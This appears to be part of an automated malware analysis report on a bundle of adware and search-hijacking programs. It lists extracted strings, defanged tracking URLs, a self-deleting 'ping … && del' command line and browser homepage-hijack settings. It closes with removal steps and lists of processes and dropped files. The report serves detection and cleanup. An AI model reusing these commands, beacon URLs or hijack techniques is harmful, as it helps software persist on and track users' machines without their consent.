WININET.dll

WS2_32.dll

WinHttpReceiveResponse

WinHttpSetTimeouts

WinHttpSetOption

WinHttpGetIEProxyConfigForCurrentUser

WinHttpSendRequest

WinHttpWriteData

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpGetProxyForUrl

WinHttpCrackUrl

WinHttpReadData

WinHttpAddRequestHeaders

WINHTTP.dll

SensApi.dll

VERSION.dll

GetCPInfo

.?AVunsupported_os@Concurrency@@

.?AVinvalid_scheduler_policy_key@Concurrency@@

.?AVinvalid_operation@Concurrency@@

.?AVinvalid_oversubscribe_operation@Concurrency@@

.?AUITopologyExecutionResource@Concurrency@@

.?AVExecutionResource@details@Concurrency@@

.?AUIExecutionResource@Concurrency@@

.?AUIExecutionContext@Concurrency@@

zcÁ

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

? ?$?(?,?0?4?~?

5#505:5`5

=#='= =/=3=

;!;0;7;^;

<!<%<)<-<1<5<$=0=

9-92989?9

5 5$5(5,505

5 5$5(5,5054585

7$<(<,<0<4<8<<<@<

< <(<4<<<

3 3$3(3,30383<3

combase.dll

/kernel32.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

USER32.DLL

portuguese-brazilian

1advapi32.dll

\\.\PhysicalDrive%d

WindowsMangerProtect

SOFTWARE\supWindowsMangerProtect

xa.geoip

visit.heartbeat

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action0=%s&action1=visit&action2=%s&update0=ref,%s&update1=nation,%s&update2=language,%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s&update3=version,%s

Report Start.

C:\DoStartTEST.DAT

Report Heart beat.

ProtectWindowsManager.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

TypesSupported

%s is already installed

%s installed

%s failed to install. Error %d

%s is not installed

Could not remove %s. Error %d

WindowsProtectManger

-Advapi32.dll

/c ping 127.0.0.1 -n 2 > nul && del

"%s" %s

psapi.dll

Explorer.exe

update.exe

%s_%s

\\.\Phys

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

..\Src\json\src\json_value.cpp

..\Src\json\src\json_reader.cpp

xxxx

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

..\Src\json\src\json_writer.cpp

Assertion failed: %s, file %s, line %d

WindowsMangerProtect Service

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe

WindowsMangerProtect service

SysTool PasSame LIMITED

Windows SysTool Service

20.0.0.1714

Windows SysTool.exe

ProtectService.exe_3964:

.text

`.rdata

@.data

.rsrc

@.reloc

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

file_url

E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegOpenKeyW

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHELL32.dll

MSVCP110.dll

InternetCrackUrlW

WININET.dll

WS2_32.dll

SHLWAPI.dll

MSVCR110.dll

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

_calloc_crt

__crtGetShowWindowMode

_amsg_exit

_wcmdln

__crtSetUnhandledExceptionFilter

WinHttpCloseHandle

WinHttpOpen

WinHttpSetTimeouts

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpSetOption

WinHttpAddRequestHeaders

WinHttpSendRequest

WinHttpGetIEProxyConfigForCurrentUser

WinHttpGetProxyForUrl

WinHttpWriteData

WinHttpReceiveResponse

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpReadData

WINHTTP.dll

SensApi.dll

VERSION.dll

PSAPI.DLL

USERENV.dll

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

2-2v2

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

xxxx

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

UpDateProcess.exe

hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s

g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

Report HeartBeat

cmdshell.exe

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall

explorer.exe

Advapi32.dll

"%s" %s

psapi.dll

Explorer.exe

json_value.cpp

ljson_reader.cpp

ProtectSvc.exe

4.0.1.1716

HPNotify.exe_3644:

.text

`.rdata

@.data

.rsrc

@.reloc

<9%uo

wszUrl

strUrlTemp

hKEY

strSelUrl

strUrl

strConfUrlTemp

strDsUrl

strHpUrl

strCmdLine

tCPW

%UUUU

e_GetBrowserCurrentHpUrl

e_GetBrowserCurrentDsUrl

URLDownloadToFileW

URLDownloadToFileW ret:0XX

Error : %d

inflate 1.1.3 Copyright 1995-1998 Mark Adler

1.1.3

monochrome

unsupported bit depth

`'\%D,3

Run-Time Check Failure #%d - %s

%s%s%p%s%ld%s%d%s

%s%s%s%s

RegOpenKeyExW

RegCloseKey

del /s/q %1\*.*

%suninstall.bat

E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb

KERNEL32.dll

GetKeyState

USER32.dll

GDI32.dll

ADVAPI32.dll

ShellExecuteW

ShellExecuteA

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHDeleteKeyW

SHLWAPI.dll

MSVCP110.dll

MSVCR110.dll

_calloc_crt

_CRT_RTC_INITW

__crtGetShowWindowMode

_amsg_exit

_wcmdln

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

__crtSetUnhandledExceptionFilter

GdiplusShutdown

gdiplus.dll

IMM32.dll

DeleteUrlCacheEntryW

WININET.dll

COMCTL32.dll

GetProcessHeap

#*1892 $

%,3:;4-&

.?AVCActiveXEnum@DuiLib@@

.?AVCWebBrowserUI@DuiLib@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />

3?3

1-2}2

77t7

9":,:6:@:

12u2

: :$:(:,:0:

4 4$4(4,404

>$?(?,?0?

2 2$2(2,20242

0 1@1\1|1

hXXp://VVV.bing.com/

hXXp://VVV.yahoo.com/

hXXp://VVV.google.com/

%sconf

web/?type=dspp&

web/?type=dspp

hXXp://VVV.v9.com/

Itemd

BrowserAction.dll

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

\\.\Scsi%d:

UrlEdit

conf.xml

hXXp://v9.com/license_agreement.html

hXXp://v9.com/privacy_policy.html

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s

%stmp%d.tmp

urlmon.dll

main.xml

explorer.exe

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

IeWatchDog.dll

BrowerWatchFF.dll

BrowerWatchCH.dll

Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)

msimg32.dll

User32.dll

WM_KEYDOWN

WM_KEYUP

WM_SYSKEYDOWN

WM_SYSKEYUP

0xX

keyboard

msftedit.dll

password

%s%s%s

Correct password required

%s\%s

WebBrowser

transshadow

transshadow1

dest='%d,%d,%d,%d'

dest='%d,%d,%d,%d' source='%d,%d,%d,%d'

source='%d,%d,%d,%d' dest='%d,%d,%d,%d'

M-d-d

WebBrowserUI

errorUrl

{D27CDB6E-AE6D-11CF-96B8-444553540000}

user32.dll

MSPDB110.DLL

ADVAPI32.DLL

/c ping 127.0.0.1 -n 2 > nul && del /s/q

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%Program Files% (x86)\XTab\skin\

SupHPNot.exe

4,0,1,1716

SupHPNty.exe

WebPlayer.exe_3012:

.text

`.rdata

@.data

.rsrc

@.reloc

8%u:j

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

operator

GetProcessWindowStation

KERNEL32.dll

EnumWindows

USER32.dll

GDI32.dll

RegOpenKeyExW

RegCreateKeyExW

RegDeleteKeyW

RegCloseKey

RegEnumKeyExW

RegQueryInfoKeyW

ADVAPI32.dll

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

COMCTL32.dll

urlmon.dll

GetProcessHeap

GetCPInfo

.?AVIKeyValueStorage@@

.?AVCWebPlayerEventsCallback@@

.?AVCComWebPlayer@@

.?AV?$CComCoClass@VCComWebPlayer@@$1?GUID_NULL@@3U_GUID@@B@ATL@@

.?AV?$IDispatchDynamicImpl@VCComWebPlayer@@@@

.?AV?$CComObject@VCComWebPlayer@@@ATL@@

.?AVCWebPlayerView@@

.?AV?$CWindowImpl@VCWebPlayerView@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@

.?AV?$CTrayIcon@VCWebPlayerView@@@@

.?AV?$IDispEventImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B$1?LIBID_SHDocVw@@3U3@B$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@

.?AV?$IDispEventSimpleImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

zcÁ

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

2 3$3(3,3

getWebBrowser

hXXps://

hXXp://

Advapi32.dll

Software\WebPlayer\

javascript.debug

javascript.show_errors

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

icons\main.ico

WebPlayerEngine

WebPlayer\

scripts\config.xml

window.placement

icons\tray.ico

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

mscoree.dll

KERNEL32.DLL

WUSER32.DLL

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe

&About WebPlayer

WebPlayer

Replace%Select the entire document

Arrange Icons/Arrange windows so they overlap

Cascade Windows5Arrange windows as non-overlapping tiles

Tile Windows5Arrange windows as non-overlapping tiles

Tile Windows(Split the active window into panes

1.1.0.0

WebPlayer.exe

vlc.exe_1032:

.text

P`.data

.rdata

`@.bss

.idata

.rsrc

.gnu_deb

libgcj_s.dll

Can't connect to FTP server 0xlu

VLC/2.0.2

globalhotkeys,none

VirtualQuery failed for %d bytes at address %p

Unknown pseudo relocation protocol version %d.

Unknown pseudo relocation bit size %d.

FtpPutFileW

libvlc.dll

KERNEL32.dll

msvcrt.dll

PSAPI.DLL

SHELL32.DLL

USER32.dll

WININET.DLL

<<<66:*/

.FDGS5$Yfll

Tx.AP:|

T.syy

L&Y^.sxx

.ZL9L

vlc.exe.dbg

OS=%d.%d.%d.%d.%s

VLC=2.0.2 Twoflower

x at %px

%p|%s

VLC crash reporting

VLC media player just crashed. Do you want to send a bug report to the developers team?

VLC Crash Reporter

crash.videolan.org

/crashes-win32/dddddd

Report sent

Report sent correctly. Thanks a lot for the help.

Report sending failed

There was an error while transferring to the FTP server. Thanks a lot for the help anyway.

There was an error while connecting to the FTP server. Thanks a lot for the help anyway.

kernel32.dll

C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\crashdump

vlc.exe

2.0.2

VLC media player 2.0.2

GoogleUpdate.exe_2368:

.text

`.data

.text/DE

@.rsrc

@.reloc

SHELL32.dll

USER32.dll

SHLWAPI.dll

mscoree.dll

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

.mixcrt

KERNEL32.DLL

kernel32.dll

GetProcessWindowStation

USER32.DLL

GoogleUpdate_unsigned.pdb

RegOpenKeyExW

ADVAPI32.dll

KERNEL32.dll

GetProcessHeap

GetCPInfo

<requestedExecutionLevel level="asInvoker" />

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<!--The ID below indicates application support for Windows Vista -->

<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>

<!--The ID below indicates application support for Windows 7 -->

<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>

###7777_{

###____777

###````87{

%Program Files% (x86)\Google\Update\GoogleUpdate.exe

goopdate.dll

GoogleUpdate.exe

Software\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}

1.3.21.103

2007-2010

2007-2010

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):

GoogleUpdate.exe:3664
GoogleUpdate.exe:3764
GoogleUpdate.exe:3212
GoogleUpdate.exe:1628
GoogleUpdate.exe:3124
GoogleUpdate.exe:536
GoogleUpdate.exe:2192
GoogleUpdate.exe:2368
GoogleUpdate.exe:916
GoogleUpdate.exe:1660
GoogleUpdateSetup.exe:3776
ProtectService.exe:3964
ProtectService.exe:3208
BaofengUpdate.exe:964
BaofengUpdate.exe:168
%original file name%.exe:3900
ProtectWindowsManager.exe:3856
ProtectWindowsManager.exe:3332
XTab_v4.0.exe:3324
Lexdja.exe:3672
GoogleUpdateComRegisterShell64.exe:3796
GoogleUpdateComRegisterShell64.exe:3060
GoogleUpdateComRegisterShell64.exe:556
TPAutoConnSvc.exe:1776
appshat.exe:1728
biclient.exe:2492
biclient.exe:3852
biclient.exe:1020
setup.exe:1644
wpm_v20.0.0.1714_0204.exe:3892
GoogleCrashHandler64.exe:3040
1D30.tmp:3428
0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe:3268
powershell.exe:2576
powershell.exe:1956
powershell.exe:3536
appshat_generic.exe:3424
HPNotify.exe:3644
STab_Down_6.0.6.8.exe:3144
cmdshell.exe:1872
vlc-2.0.2-win32.exe:3452
webplayer_installer.exe:872
vlc-cache-gen.exe:2880
vlc.exe:1032
cscript.exe:3432
taskeng.exe:1784
GoogleCrashHandler.exe:3068
Delete the original Application file.
Delete or disinfect the following files created/modified by the Application:

%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_et.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_iw.dll (72 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ro.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll (12490 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_da.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_el.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_bn.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_mr.dll (79 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_en.dll (40 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleCrashHandler.exe (3778 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_te.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_cs.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\psuser.dll (1954 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\psmachine_64.dll (1954 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ko.dll (70 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_zh-CN.dll (64 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ms.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ar.dll (72 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_th.dll (77 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_zh-TW.dll (64 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_vi.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_tr.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_de.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateBroker.exe (105 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleCrashHandler64.exe (4210 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_sv.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_am.dll (77 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_lv.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_pl.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll (32380 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateWebPlugin.exe (105 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ta.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdate.exe (1738 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\psuser_64.dll (1954 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\psmachine.dll (1954 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_id.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_nl.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_kn.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_pt-PT.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_it.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_lt.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_fa.dll (77 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_fr.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_is.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_no.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.25.11 (28 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ml.dll (86 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_es-419.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateSetup.exe (20458 bytes)
C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job (902 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_sw.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateOnDemand.exe (105 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_uk.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_hi.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ca.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_es.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_pt-BR.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_fil.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_gu.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_sr.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ur.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_bg.dll (79 bytes)
C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job (898 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_fi.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateHelper.msi (56 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_hr.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ja.dll (71 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_sk.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_hu.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ru.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_en.dll (77 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_en-GB.dll (77 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_sl.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateComRegisterShell64.exe (1738 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdate.dll (49 bytes)
%Program Files% (x86)\Google\Update\Install\{2D52D259-4879-496A-86B1-7ACEF326BE4F}\GoogleUpdateSetup.exe (7721 bytes)
%Program Files% (x86)\Google\Update\Download\{430FD4D0-B729-4F61-AA34-91526481799D}\1.3.26.9\GoogleUpdateSetup.exe (6841 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_fil.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_no.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\psuser_64.dll (188 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ja.dll (35 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_is.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateHelper.msi (28 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_nl.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_fa.dll (37 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleCrashHandler.exe (232 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateSetup.exe (6841 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_hr.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_zh-CN.dll (32 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_uk.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\psmachine_64.dll (188 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_hi.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdate.exe (217 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_th.dll (37 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_pt-BR.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_vi.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_cs.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_sv.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_el.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_mr.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_iw.dll (36 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_et.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_bg.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateComRegisterShell64.exe (115 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ar.dll (36 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_lv.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateWebPlugin.exe (52 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_kn.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_es.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_zh-TW.dll (32 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_fi.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ta.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_am.dll (37 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_sw.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_te.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_gu.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ur.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ms.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_da.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ca.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_pt-PT.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_lt.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleCrashHandler64.exe (550 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ru.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\psmachine.dll (165 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_id.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_bn.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_es-419.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ml.dll (41 bytes)
%Program Files% (x86)\GUMF1D.tmp\npGoogleUpdate3.dll (838 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_sl.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateOnDemand.exe (52 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_en-GB.dll (37 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ro.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_sr.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_it.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_fr.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ko.dll (34 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_pl.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_de.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_tr.dll (38 bytes)
%Program Files% (x86)\GUTF1E.tmp (6 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_hu.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateBroker.exe (52 bytes)
%Program Files% (x86)\GUMF1D.tmp\psuser.dll (165 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_sk.dll (38 bytes)
C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\422.db (225 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\STab_Down_6.0.6.8.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\style.css (784 bytes)
